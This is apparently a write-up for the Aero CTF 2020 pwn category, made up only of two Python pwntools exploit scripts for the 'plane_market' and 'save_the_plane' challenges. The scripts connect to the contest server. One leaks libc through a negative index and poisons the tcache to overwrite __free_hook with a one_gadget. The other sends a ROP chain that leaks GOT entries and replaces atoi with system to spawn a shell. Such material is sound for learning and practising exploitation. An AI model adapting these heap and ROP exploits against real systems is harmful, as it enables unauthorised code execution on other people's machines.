Aero CTF 2020 Pwn

plane_market.py

from pwn import *

#r = process('./plane_market')
r = remote('tasks.aeroctf.com', 33087)


c0 = lambda:r.recvuntil(':')
c1 = lambda:r.recvuntil('>')
s = lambda x:r.send(str(x))
sl = lambda x:r.sendline(str(x))


def add(name_size, name, isComment=True, comment_size=8, comment=""):
	c1()
	sl(1)
	c0()
	sl(name_size)
	c0()
	sl(name)
	c0()
	sl(0)
	c0()
	if isComment:
		sl('Y')
		c0()
		sl(comment_size)
		c0()
		sl(comment)
	else:
		sl('N')

def edit(idx, name):
	c1()
	sl(5)
	c0()
	sl(idx)
	c0()
	sl(name)

def remove(idx):
	c1()
	sl(2)
	c0()
	sl(idx)

libc_stdin_offset = 0x1b9a00
libc_freehook_offset = 0x1bc5a8
one_gadget = [0xc84da, 0xc84dd, 0xc84e0, 0xe664b]
# Setting
c0()
sl(1)

# Leak
c1()
sl(4)
c0()
sl(-2)
libc_stdin = int(c1().split('Time: ')[1].split('\n')[0])
libc_base = libc_stdin - libc_stdin_offset
libc_freehook = libc_base + libc_freehook_offset
print hex(libc_stdin)
print hex(libc_base)

# Overwrite tcache poisoning
add(0x8, 1, 1, 0x8, 1)
add(0x8, 1, 1, 0x8, 1)

edit(0,1)
remove(0)

edit(0, p64(libc_freehook))
add(0x8, 1, 1, 0x8, 1)
add(0x8, p64(libc_base+one_gadget[3]), False, 0, 0)
remove(0)
r.interactive()

save_the_plane.py

from pwn import *

#r = process('./save_plane')
r = remote('tasks.aeroctf.com', 33027)

r.recvuntil(':')
r.sendline(str(0x100000))
r.recvuntil(':')
r.sendline(str(-4376))
r.recvuntil(':')

rdi_ret = 0x000000000040156b
rsi_r15_ret = 0x0000000000401569
puts = 0x0000000000401050
putchar_got = 0x0000000000404018
atoi_got = 0x0000000000404068
one = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]
system_offset = 0x46ff0#0x52fd0
putchar_offset = 0x75a40#0x85780
dummy = 0x00404800
read_buf = 0x0000000000401475
read_int = 0x0000000000401409
payload = ''
payload += p64(rdi_ret)
payload += p64(putchar_got)
payload += p64(puts)
payload += p64(rdi_ret)
payload += p64(atoi_got)
payload += p64(rsi_r15_ret)
payload += p64(dummy)
payload += p64(dummy)
payload += p64(read_buf)
payload += p64(read_int)

r.sendline(payload)
leak = u64(r.recvuntil('\x7f')[-6:]+'\x00\x00')

libc = leak - putchar_offset
print hex(libc)

r.sendline(p64(libc+system_offset))
r.sendline('sh')

r.interactive()